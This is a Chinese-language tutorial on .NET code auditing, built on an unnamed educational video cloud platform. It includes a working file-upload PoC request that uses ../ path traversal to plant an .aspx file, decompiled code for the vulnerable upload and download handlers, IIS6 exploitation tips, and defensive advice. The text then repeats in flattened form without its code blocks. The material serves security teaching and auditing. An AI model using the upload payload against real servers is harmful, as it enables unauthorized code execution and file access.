从某教学视频应用云平台入门.net审计
字数 1565 2025-08-18 11:36:48

.NET代码审计入门教学文档

0x00 前言

本文基于某教学视频应用云平台的.NET源码审计案例,介绍.NET应用程序审计的基本方法和流程。该案例包含了文件上传和文件下载漏洞的详细分析过程。

0x01 前置知识

.NET框架基础

.NET是微软开发的框架,支持C#、F#和Visual Basic等语言。ASP.NET是.NET框架中用于构建Web应用程序的组件。

C#文件类型及作用

  1. .aspx

    • ASP.NET网页文件
    • 包含网页标记和服务器端代码
  2. .cs

    • C#源代码文件
    • 包含应用程序逻辑
  3. .aspx.cs

    • 与.aspx配套的代码文件
    • 处理页面服务器端逻辑
  4. .ascx

    • 用户控件文件
    • 可重复使用的UI组件
  5. .asmx

    • Web服务文件
    • 支持SOAP通信
  6. .asax

    • 全局应用程序类文件
    • 包含全局事件处理
  7. .dll

    • 动态链接库
    • 包含已编译代码

文件分布结构

典型ASP.NET应用程序目录结构:

/YourWebApp
  /bin
    YourWebApp.dll
  /Pages
    Home.aspx
    Home.aspx.cs
  /App_Code
    CommonFunctions.cs
  Web.config

反编译工具ILSpy

用于反编译.dll文件,查看内部代码。可从GitHub仓库获取:icsharpcode/ILSpy

ASPX文件解析

典型ASPX文件首行:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="MyPage.aspx.cs" Inherits="MyWebApp.MyPage" %>

关键属性:

  • Language:指定编程语言
  • AutoEventWireup:是否启用自动事件绑定
  • CodeBehind:关联的代码文件路径
  • Inherits:指定继承关系(关键审计点)

0x02 文件上传漏洞分析

漏洞POC

POST /Tools/Video/VideoCover.aspx HTTP/1.1
Host: xxx
[...]
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryVBf7Cs8QWsfwC82M

------WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Disposition: form-data; name="file";filename="/../../../AVA.ResourcesPlatform.WebUI/test.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%>
<%
Response.Write("test");
%>
------WebKitFormBoundaryVBf7Cs8QWsfwC82M--

漏洞代码分析

using System;
using System.IO;
using System.Web;
using System.Web.UI;

public class UploadFile : Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        if (base.Request.Files.Count <= 0) return;
        
        try
        {
            HttpPostedFile httpPostedFile = base.Request.Files[0];
            string fileName = httpPostedFile.FileName;
            string text = base.Request.QueryString["VideoGuid"];
            string text2 = base.Server.MapPath("~/Upload/Video/" + text + "/");
            
            if (!Directory.Exists(text2))
            {
                Directory.CreateDirectory(text2);
            }
            
            text2 += httpPostedFile.FileName;
            httpPostedFile.SaveAs(text2);
            base.Response.Write("Success");
        }
        catch (Exception ex)
        {
            base.Response.Write(ex.Message);
        }
    }
}

漏洞成因

  1. 未对上传文件类型进行限制
  2. 文件名直接拼接,未过滤../等路径遍历字符
  3. 系统目录结构导致需要跨目录上传:
    • xxx.WebUI(前端)
    • xxx.AdminUI(后端,包含漏洞代码)

利用技巧

  1. 利用IIS6.0文件解析缺陷(可解析.asa、.cer等后缀)
  2. 利用创建文件夹特性进行目录穿越

0x03 文件下载漏洞分析

审计关键词

Response.BinaryWriteSaveAs是文件操作的关键函数

漏洞代码

using System;
using System.IO;
using System.Web;
using System.Web.UI;

public class Download : Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        string text = base.Request.GetFormValue("File").UrlDecode();
        if (string.IsNullOrEmpty(text))
        {
            throw new Exception("未指明下载文件");
        }
        
        string text2 = base.Server.MapPath("~" + text);
        if (!File.Exists(text2))
        {
            throw new Exception("文件不存在");
        }
        
        FileInfo fileInfo = new FileInfo(text2);
        if (!ResponseFile(Page.Request, Page.Response, fileInfo.Name, fileInfo.FullName, speed))
        {
            base.Response.Write("下载文件出错");
        }
    }

    public bool ResponseFile(HttpRequest hRequest, HttpResponse hResponse, 
                           string hfileName, string hfullPath, long hspeed)
    {
        // 文件下载实现...
        hResponse.BinaryWrite(binaryReader.ReadBytes(num2));
        // ...
    }
}

漏洞成因

  1. 未对File参数进行过滤
  2. 直接拼接用户输入路径
  3. 未实施权限检查

0x04 审计方法论

1. 定位关键文件

  • 关注.dll.aspx.aspx.cs文件
  • 通过Inherits属性追踪代码位置

2. 反编译分析

  1. 使用ILSpy反编译.dll文件
  2. 导出为.cs文件便于分析

3. 关键词搜索

常用审计关键词:

  • 文件操作:SaveAsBinaryWriteFileStream
  • 命令执行:Process.StartSystem.Diagnostics
  • 反序列化:BinaryFormatterJavaScriptSerializer
  • 数据库操作:SqlCommandExecuteNonQuery

4. 路由分析

  • 通过.aspx文件定位处理逻辑
  • 关注Page_Load方法(入口点)

5. 漏洞验证

  1. 搭建测试环境
  2. 构造POC验证
  3. 分析防护机制(如有)

0x05 其他潜在漏洞

根据案例,该系统还可能存在:

  1. SSRF(服务器端请求伪造)
  2. 未授权访问
  3. 反序列化漏洞
  4. SQL注入(需检查数据库操作)

0x06 防御建议

  1. 文件上传:

    • 验证文件类型(白名单)
    • 重命名上传文件
    • 限制上传目录
    • 过滤路径遍历字符
  2. 文件下载:

    • 验证文件路径
    • 实施权限检查
    • 限制下载目录
  3. 通用防御:

    • 输入验证
    • 输出编码
    • 最小权限原则
    • 安全配置(如IIS)

0x07 总结

本案例展示了.NET应用程序审计的基本流程:

  1. 通过文件类型和结构了解系统架构
  2. 使用ILSpy等工具反编译分析
  3. 关键词搜索定位潜在漏洞
  4. 分析代码逻辑验证漏洞
  5. 了解利用方式和影响范围

.NET审计需要熟悉C#语言特性和.NET框架机制,掌握常见漏洞模式和审计技巧。

.NET代码审计入门教学文档 0x00 前言 本文基于某教学视频应用云平台的.NET源码审计案例,介绍.NET应用程序审计的基本方法和流程。该案例包含了文件上传和文件下载漏洞的详细分析过程。 0x01 前置知识 .NET框架基础 .NET是微软开发的框架,支持C#、F#和Visual Basic等语言。ASP.NET是.NET框架中用于构建Web应用程序的组件。 C#文件类型及作用 .aspx : ASP.NET网页文件 包含网页标记和服务器端代码 .cs : C#源代码文件 包含应用程序逻辑 .aspx.cs : 与.aspx配套的代码文件 处理页面服务器端逻辑 .ascx : 用户控件文件 可重复使用的UI组件 .asmx : Web服务文件 支持SOAP通信 .asax : 全局应用程序类文件 包含全局事件处理 .dll : 动态链接库 包含已编译代码 文件分布结构 典型ASP.NET应用程序目录结构: 反编译工具ILSpy 用于反编译.dll文件,查看内部代码。可从GitHub仓库获取: icsharpcode/ILSpy ASPX文件解析 典型ASPX文件首行: 关键属性: Language :指定编程语言 AutoEventWireup :是否启用自动事件绑定 CodeBehind :关联的代码文件路径 Inherits :指定继承关系(关键审计点) 0x02 文件上传漏洞分析 漏洞POC 漏洞代码分析 漏洞成因 未对上传文件类型进行限制 文件名直接拼接,未过滤 ../ 等路径遍历字符 系统目录结构导致需要跨目录上传: xxx.WebUI(前端) xxx.AdminUI(后端,包含漏洞代码) 利用技巧 利用IIS6.0文件解析缺陷(可解析.asa、.cer等后缀) 利用创建文件夹特性进行目录穿越 0x03 文件下载漏洞分析 审计关键词 Response.BinaryWrite 和 SaveAs 是文件操作的关键函数 漏洞代码 漏洞成因 未对 File 参数进行过滤 直接拼接用户输入路径 未实施权限检查 0x04 审计方法论 1. 定位关键文件 关注 .dll 、 .aspx 和 .aspx.cs 文件 通过 Inherits 属性追踪代码位置 2. 反编译分析 使用ILSpy反编译.dll文件 导出为.cs文件便于分析 3. 关键词搜索 常用审计关键词: 文件操作: SaveAs 、 BinaryWrite 、 FileStream 命令执行: Process.Start 、 System.Diagnostics 反序列化: BinaryFormatter 、 JavaScriptSerializer 数据库操作: SqlCommand 、 ExecuteNonQuery 4. 路由分析 通过.aspx文件定位处理逻辑 关注 Page_Load 方法(入口点) 5. 漏洞验证 搭建测试环境 构造POC验证 分析防护机制(如有) 0x05 其他潜在漏洞 根据案例,该系统还可能存在: SSRF(服务器端请求伪造) 未授权访问 反序列化漏洞 SQL注入(需检查数据库操作) 0x06 防御建议 文件上传: 验证文件类型(白名单) 重命名上传文件 限制上传目录 过滤路径遍历字符 文件下载: 验证文件路径 实施权限检查 限制下载目录 通用防御: 输入验证 输出编码 最小权限原则 安全配置(如IIS) 0x07 总结 本案例展示了.NET应用程序审计的基本流程: 通过文件类型和结构了解系统架构 使用ILSpy等工具反编译分析 关键词搜索定位潜在漏洞 分析代码逻辑验证漏洞 了解利用方式和影响范围 .NET审计需要熟悉C#语言特性和.NET框架机制,掌握常见漏洞模式和审计技巧。